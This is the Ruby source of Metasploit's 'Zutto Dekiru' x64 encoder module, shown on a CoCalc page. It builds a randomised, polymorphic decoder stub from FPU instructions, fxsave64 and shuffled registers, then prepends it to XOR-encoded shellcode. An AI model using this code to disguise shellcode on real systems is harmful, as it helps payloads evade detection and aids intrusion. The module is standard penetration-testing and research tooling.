Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x64/zutto_dekiru.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
require 'rex/nop/opty2'
8
9
class MetasploitModule < Msf::Encoder::Xor
10
Rank = ManualRanking
11
12
def initialize
13
super(
14
'Name' => 'Zutto Dekiru',
15
'Version' => '$Revision: 14774 $',
16
'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x64 systems.',
17
'Author' => 'agix',
18
'Arch' => ARCH_X64,
19
'License' => MSF_LICENSE,
20
'EncoderType' => Msf::Encoder::Type::Raw,
21
'Decoder' => {
22
'KeySize' => 8,
23
'KeyPack' => 'Q<'
24
}
25
)
26
@cpu64 = Metasm::X86_64.new
27
end
28
29
def assemble(src, cpu: @cpu64)
30
Metasm::Shellcode.assemble(cpu, src).encode_string
31
end
32
33
def fxsave64(reg)
34
case reg
35
when 'rax'
36
return "\x48\x0f\xae\x00"
37
when 'rbx'
38
return "\x48\x0f\xae\x03"
39
when 'rcx'
40
return "\x48\x0f\xae\x01"
41
when 'rdx'
42
return "\x48\x0f\xae\x02"
43
when 'rsi'
44
return "\x48\x0f\xae\x06"
45
when 'rdi'
46
return "\x48\x0f\xae\x07"
47
when 'rbp'
48
return "\x48\x0f\xae\x45\x00"
49
when 'r8'
50
return "\x49\x0f\xae\x00"
51
when 'r9'
52
return "\x49\x0f\xae\x01"
53
when 'r10'
54
return "\x49\x0f\xae\x02"
55
when 'r11'
56
return "\x49\x0f\xae\x03"
57
when 'r12'
58
return "\x49\x0f\xae\x04\x24"
59
when 'r13'
60
return "\x49\x0f\xae\x45\x00"
61
when 'r14'
62
return "\x49\x0f\xae\x06"
63
when 'r15'
64
return "\x49\x0f\xae\x07"
65
end
66
end
67
68
def nop(length, save_registers = [])
69
test = Rex::Nop::Opty2.new('', save_registers)
70
return test.generate_sled(length)
71
end
72
73
# Indicate that this module can preserve some registers
74
def can_preserve_registers?
75
true
76
end
77
78
#
79
# Returns the set of FPU instructions that can be used for the FPU block of
80
# the decoder stub.
81
#
82
def fpu_instructions
83
fpus = []
84
85
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
86
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
87
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
88
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
89
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
90
91
fpus << "\xd9\xd0"
92
fpus << "\xd9\xe1"
93
fpus << "\xd9\xf6"
94
fpus << "\xd9\xf7"
95
fpus << "\xd9\xe5"
96
97
# This FPU instruction seems to fail consistently on Linux
98
# fpus << "\xdb\xe1"
99
100
fpus
101
end
102
103
def rand_string(length)
104
o = [('0'..'9'), ('a'..'z'), ('A'..'Z')].map(&:to_a).flatten
105
string = (0..(length - 1)).map { o[rand(o.length)] }.join
106
107
return string
108
end
109
110
def xor_string(text, key)
111
text.length.times { |n| text[n] = (text[n].ord ^ key[n.modulo(key.length)].ord).chr }
112
return text
113
end
114
115
def ordered_random_merge(array1, array2)
116
a = array1.dup
117
b = array2.dup
118
a.map { rand(b.size + 1) }.sort.reverse.each do |index|
119
b.insert(index, a.pop)
120
end
121
b
122
end
123
124
def encode_block(state, block)
125
allowed_reg = [
126
['rax', 'eax', 'ax', 'al' ],
127
['rbx', 'ebx', 'bx', 'bl' ],
128
['rcx', 'ecx', 'cx', 'cl' ],
129
['rdx', 'edx', 'dx', 'dl' ],
130
['rsi', 'esi', 'si', 'sil' ],
131
['rdi', 'edi', 'di', 'dil' ],
132
['rbp', 'ebp', 'bp', 'bpl' ],
133
['r8', 'r8d', 'r8w', 'r8b' ],
134
['r9', 'r9d', 'r9w', 'r9b' ],
135
['r10', 'r10d', 'r10w', 'r10b'],
136
['r11', 'r11d', 'r11w', 'r11b'],
137
['r12', 'r12d', 'r12w', 'r12b'],
138
['r13', 'r13d', 'r13w', 'r13b'],
139
['r14', 'r14d', 'r14w', 'r14b'],
140
['r15', 'r15d', 'r15w', 'r15b'],
141
]
142
allowed_reg.delete_if { |reg| datastore['SaveRegisters'] && datastore['SaveRegisters'].include?(reg.first) }
143
allowed_reg.shuffle!
144
145
if block.length % 8 != 0
146
block += nop(8 - (block.length % 8))
147
end
148
149
reg_type = 3
150
151
if (block.length / 8) > 0xff
152
reg_type = 2
153
end
154
155
if (block.length / 8) > 0xffff
156
reg_type = 1
157
end
158
159
if (block.length / 8) > 0xffffffff
160
reg_type = 0
161
end
162
163
reg_key = allowed_reg[0][0]
164
reg_size = allowed_reg[3]
165
reg_rip = allowed_reg[1][0]
166
reg_env = allowed_reg[2]
167
168
flip_coin = rand(2)
169
170
fpu_opcode = Rex::Poly::LogicalBlock.new('fpu',
171
*fpu_instructions)
172
173
fpu = []
174
fpu << ['fpu', fpu_opcode.generate([], nil, state.badchars)]
175
176
sub = (rand(0xd00) & 0xfff0) + 0xf000
177
lea = []
178
if flip_coin == 0
179
lea << ['lea', assemble('mov %s, rsp' % reg_env[0])]
180
lea << ['lea1', assemble('and ' + reg_env[2] + ', 0x%x' % sub)]
181
else
182
lea << ['lea', assemble('push rsp')]
183
lea << ['lea1', assemble('pop ' + reg_env[0])]
184
lea << ['lea2', assemble('and ' + reg_env[2] + ', 0x%x' % sub)]
185
end
186
187
fpu_lea = ordered_random_merge(fpu, lea)
188
fpu_lea << ['fpu1', fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm
189
190
key_ins = [['key', assemble('mov ' + reg_key + ', 0x%x' % state.key)]]
191
192
size = []
193
size << ['size', assemble('xor ' + reg_size[0] + ', ' + reg_size[0])]
194
size << ['size', assemble('mov ' + reg_size[reg_type] + ', 0x%x' % (block.length / 8))]
195
196
getrip = 0
197
198
a = ordered_random_merge(size, key_ins)
199
decode_head_tab = ordered_random_merge(a, fpu_lea)
200
201
decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == 'fpu' }
202
203
decode_head = decode_head_tab.map { |_j, i| i.to_s }.join
204
205
flip_coin = rand(2)
206
207
if flip_coin == 0
208
decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ' + 0x8]')
209
else
210
decode_head += assemble('add ' + reg_env[0] + ', 0x8')
211
decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ']')
212
end
213
214
decode_head_size = decode_head.length
215
getrip.times { |i| decode_head_size -= decode_head_tab[i][1].length }
216
217
loop_code = assemble('dec ' + reg_size[0])
218
loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x7f], ' + reg_key)
219
loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0])
220
221
payload_offset = decode_head_size + loop_code.length + 2
222
223
loop_code = assemble('dec ' + reg_size[0])
224
loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x' + payload_offset.to_s(16) + '], ' + reg_key)
225
loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0])
226
227
jnz = "\x75" + (0x100 - (loop_code.length + 2)).chr
228
229
decode = decode_head + loop_code + jnz
230
encode = xor_string(block, [state.key].pack('Q'))
231
232
return decode + encode
233
end
234
235
end
236
237